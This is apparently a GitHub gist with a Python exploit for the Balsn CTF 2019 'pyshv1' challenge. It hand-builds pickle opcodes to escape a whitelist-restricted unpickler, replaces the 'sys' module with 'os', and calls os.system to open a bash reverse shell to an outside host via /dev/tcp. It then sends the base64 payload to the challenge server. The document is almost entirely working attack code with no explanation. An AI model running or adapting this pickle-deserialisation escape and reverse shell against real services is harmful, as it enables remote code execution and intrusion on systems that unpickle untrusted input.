Skip to content

Instantly share code, notes, and snippets.

@icchy
Created October 7, 2019 06:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save icchy/0ea1886f4decebdf9393665b7d102bb4 to your computer and use it in GitHub Desktop.
Save icchy/0ea1886f4decebdf9393665b7d102bb4 to your computer and use it in GitHub Desktop.
Balsn CTF 2019 pyshv1
import pickle
import io
whitelist = ['sys']
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
print(module)
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
import sys
import os
import pickletools
class MyPickler():
import pickle
def __init__(self):
self._binput = 0
def binput(self):
ret = pickle.BINPUT + self._binput.to_bytes(1, 'little')
self._binput += 1
return ret
def string(self, s):
return pickle.STRING + b"'" + s.encode() + b"'" + b"\n"
def end(self):
return b'.'
def reduce(self):
return b'R'
def tuple(self, size):
assert size >= 1
return (0x84+size).to_bytes(1, 'little')
def cglobal(self, module, name):
return b'c' + module.encode() + b'\n' + name.encode() + b'\n'
mp = MyPickler()
s = b''
# sys.modules['sys'] = sys.modules
s += mp.cglobal('sys', 'modules')
s += mp.binput()
s += mp.string('sys')
s += mp.cglobal('sys', 'modules')
s += b's'
s += b'0'
# sys.modules.get('os')
s += mp.cglobal('sys', 'get')
s += mp.string('os')
s += mp.tuple(1)
s += mp.reduce()
# memo[0] = sys.modules
# memo[1] = os
s += mp.binput()
# sys.modules['sys'] = os
s += b'g0\n'
s += mp.string('sys')
s += b'g1\n'
s += b's'
s += b'0'
# reduce (os.system, (cmd, ))
s += mp.cglobal('sys', 'system')
s += mp.string('/bin/bash -c "bash -i >& /dev/tcp/tonkatsu.info/10080 0>&1"')
s += mp.tuple(1)
s += mp.reduce()
s += mp.end()
# print(pickle.loads(s))
# pickletools.dis(s)
# print(repr(s))
# RestrictedUnpickler(io.BytesIO(s)).load()
import socket
sock = socket.socket()
sock.connect(("pysh1.balsnctf.com", 5421))
import base64
payload = base64.b64encode(s)
sock.send(payload + b'\n')
sock.send(b'hoge\n')
print(sock.recv(10))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment